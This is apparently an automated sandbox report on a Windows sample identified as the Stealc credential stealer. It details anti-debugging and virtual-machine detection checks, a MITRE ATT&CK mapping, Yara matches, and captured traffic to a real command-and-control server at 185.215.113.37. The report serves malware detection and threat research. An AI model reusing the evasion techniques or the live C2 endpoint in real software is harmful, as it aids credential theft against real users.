Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_006DED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_006DBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006DDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006D16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_006E3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006DF6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D1160 GetSystemInfo,ExitProcess,

0_2_006D1160

Source: file.exe, file.exe, 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000002.1823830492.0000000000E96000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823830492.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarev
Source: file.exe, 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13631
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13628
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13647
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13643
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13683

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006D45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006D45C0

Source: C:\Users\user\Desktop\file.exe

0_2_006E9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E9750 mov eax, dword ptr fs:[00000030h]

0_2_006E9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006E7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6780, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006E9600

Source: file.exe, file.exe, 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ^Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_006E7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_006E6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006E7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_006E7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1781255600.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1781255600.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpo	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpw	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpc	17%	Virustotal		Browse
http://185.215.113.37/ws	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37_	file.exe, 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpot:j	file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpWHjj	file.exe, 00000000.00000002.1823830492.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpc	file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpw	file.exe, 00000000.00000002.1823830492.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522427
Start date and time:	2024-09-30 03:23:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9493193257263925
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'872'384 bytes
MD5:	dc92ce1751a7abfe2c6232ae8fcdd321
SHA1:	dccd40639ea30f104ff1daf9d51f6f8e76efc2ed
SHA256:	16302289d512b8fbc68c2ef8eb4d3bcebdc7f5bf353785390a14d4c5dfbee672
SHA512:	4e810d9b0f7ee05e66c6fc96274c46595175012713981790660fe39aaae5837655a8c24629ef50b3e45112ed5a3bd8e1a4dbb02ab46d5e174a1f9b87291266a1
SSDEEP:	49152:ERIK1zz0HB7M1Wi8F+bNs3AwEMA89qTXa9VN+uL:o3z0M1t8F4UAwEMRqTXKC0
TLSH:	5585332AFEB3D33EC09E2DF9C7B727FA531446C880AAC2C58FDDA05D5420657399095A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaac000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F33B8DB4B4Ah
pshufw mm3, qword ptr [eax+eax], 00h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	04ea4886087ef979847b4aebbee1d22c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2aa000	0x200	8c5a0010c3d3c9fb274cf1c84e952ce2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mljpawsw	0x508000	0x1a3000	0x1a3000	d7f965a6ea33d3be0e6a807ff748859f	False	0.9949790936381265	data	7.954150449631776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uqwudrny	0x6ab000	0x1000	0x400	88748912fce70085855195e94e1a1b5a	False	0.7314453125	data	5.708639752428155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6ac000	0x3000	0x2200	da7641287d3736a9a7554dbf4b77fc45	False	0.058363970588235295	DOS executable (COM)	0.6410084349610963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T03:24:10.566762+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 03:24:09.580913067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 03:24:09.585872889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 03:24:09.585963011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 03:24:09.586106062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 03:24:09.590888977 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 03:24:10.312869072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 03:24:10.312956095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 03:24:10.342576981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 03:24:10.347472906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 03:24:10.566664934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 30, 2024 03:24:10.566761971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 30, 2024 03:24:13.696296930 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6780	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 03:24:09.586106062 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 03:24:10.312869072 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 01:24:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 03:24:10.342576981 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 38 30 30 37 41 34 34 41 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"A68007A44ABB883884179------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"doma------AECAECFCAAEBFHIEHDGH--
Sep 30, 2024 03:24:10.566664934 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 01:24:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	21:24:04
Start date:	29/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6d0000
File size:	1'872'384 bytes
MD5 hash:	DC92CE1751A7ABFE2C6232AE8FCDD321
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1823830492.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1781255600.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 006E9860 Relevance: 82.5, APIs: 33, Strings: 14, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E42458), ref: 006E98A1
GetProcAddress.KERNEL32(74DD0000,00E42398), ref: 006E98BA
GetProcAddress.KERNEL32(74DD0000,00E42470), ref: 006E98D2
GetProcAddress.KERNEL32(74DD0000,00E422A8), ref: 006E98EA
GetProcAddress.KERNEL32(74DD0000,00E42380), ref: 006E9903
GetProcAddress.KERNEL32(74DD0000,00E48F48), ref: 006E991B
GetProcAddress.KERNEL32(74DD0000,00E35D30), ref: 006E9933
GetProcAddress.KERNEL32(74DD0000,00E35CF0), ref: 006E994C
GetProcAddress.KERNEL32(74DD0000,00E42218), ref: 006E9964
GetProcAddress.KERNEL32(74DD0000,00E42500), ref: 006E997C
